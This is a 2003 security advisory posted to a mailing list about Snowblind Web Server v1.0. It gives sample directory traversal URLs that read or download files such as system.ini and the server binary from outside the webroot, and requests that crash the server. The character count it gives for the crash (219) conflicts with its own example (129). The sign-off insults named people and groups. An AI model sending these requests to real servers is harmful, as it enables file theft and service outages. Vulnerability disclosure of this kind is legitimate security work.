Snowblind Web Server: multiple issues

From: euronymous (just-a-userat_private)
Date: Fri May 16 2003 - 11:30:35 PDT

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    =:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=
    topic: Snowblind Web Server: multiple issues
    product: Snowblind Web Server v1.0
    vendor: www.snowblind.net
    risk: high
    date: 05/16/2k3
    tested platform: Windows 98 Second Edition
    discovered by: euronymous /F0KP 
    advisory urls: http://f0kp.iplus.ru/bz/022.en.txt
                   http://f0kp.iplus.ru/bz/022.ru.txt 
    contact email: euronymousat_private
    =:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=
    
    description
    -----------
    
    i have found couple issues in this http-server. they 
    are: directory traversal and DoS attacks. 
    
    
    directory traversal
    -------------------
    
    1. you can read and download any file out of webroot:
    
    http://hostname/../../windows/system.ini
    
    or 
    
    http://hostname/internal.sws?../../windows/system.ini
    
    
    2. also you can download any binary file in this manner:
    
    http://hostname/internal.sws?../../windows/calc.exe
    
    this request will download program file calc.exe with 
    name internal.sws
    
    http://hostname/internal.sws?sws.exe
    
    download webserver itself )).
    
    
    3. directory listing out of webroot.
    
    note: this bug will works if only `Allow directory 
    listings' is turned on [ in default its do ].
    
    http://hostname/.../
    
    will print contents of root directory on that disk 
    drive.
    
    
    Denial of Service
    -----------------
    
    1. this url will crash webserver:
    
    http://localhost/
    
    
    2. if you send GET request, that contains more >=219 
    charakterz, then you will crash the server..
    
    request example:
    
    GET /fff[ x 129 ]ffff HTTP/1.0
    
    
    shouts: DWC, DHG, NetPoison, HUNGOSH, security.nnov.ru, 
    N0b0d13s Team and all russian security guyz!! 
    to kate especially )) 
    hates: slavomira and other dirty ppl in *.kz $#%&^!  
    k0dsweb lamers team == yeah, i really __HATE__ yours!!
              
    
    ================
    im not a lame,
    not yet a hacker
    ================
    



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